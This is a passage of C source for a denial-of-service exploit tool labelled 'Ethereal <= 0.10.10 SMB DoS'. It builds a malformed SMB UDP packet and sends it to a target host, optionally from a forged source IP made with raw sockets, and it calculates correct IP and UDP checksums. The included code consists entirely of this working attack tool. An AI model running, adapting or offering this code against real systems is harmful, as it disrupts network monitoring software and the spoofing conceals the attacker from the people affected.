/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int daddr=0,saddr=0;
printf("\n[*] Ethereal <= 0.10.10 SMB DoS.\n[*] by Nicob (code ripped from vade79)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)]\n",
argv[0]);
printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2){
if(strstr(argv[2],"nospoof"))nospoof=1;
else saddr=getip(argv[2]);
}
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s (spoofed)\n",(saddr?argv[2]:"<random>"));
else
printf("[*] source\t: real IP\n");
printf("[+] sending packet ...");
fflush(stdout);
srandom(time(0));
if(nospoof)nbt_nospoof(daddr);
else nbt_spoof(daddr,saddr);
printf(".");
fflush(stdout);
printf("\n[*] done.\n\n");
fflush(stdout);
exit(0);
}
/* (non-spoofed) sends a (SMB) udp packet. */
void nbt_nospoof(unsigned int daddr){
signed int sock;
struct sockaddr_in sa;
sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sa.sin_family=AF_INET;
sa.sin_port=htons(SMB_PORT);
sa.sin_addr.s_addr=daddr;
if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<sizeof(payload)-1)
printe("failed to send non-spoofed SMB packet.",1);
close(sock);
return;
}
/* (spoofed) generates and sends a (SMB) udp packet. */
void nbt_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct udph udp;
struct sumh sum;
/* create raw (UDP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_UDP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(SMB_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct udph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&udp,0,sizeof(struct udph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_UDP;
ip.frag_off=64;
udp.source=htons(SMB_PORT);
udp.dest=htons(SMB_PORT);
udp.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* make sum/calc buffer for the udp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&udp,sizeof(struct udph));
memcpy(s+sizeof(struct sumh)+sizeof(struct udph),
payload,sizeof(payload)-1);
udp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct udph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&udp,sizeof(struct udph));
memcpy(p+(sizeof(struct iph)+sizeof(struct udph)),
payload,sizeof(payload));
/* send the malformed SMB packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged SMB packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}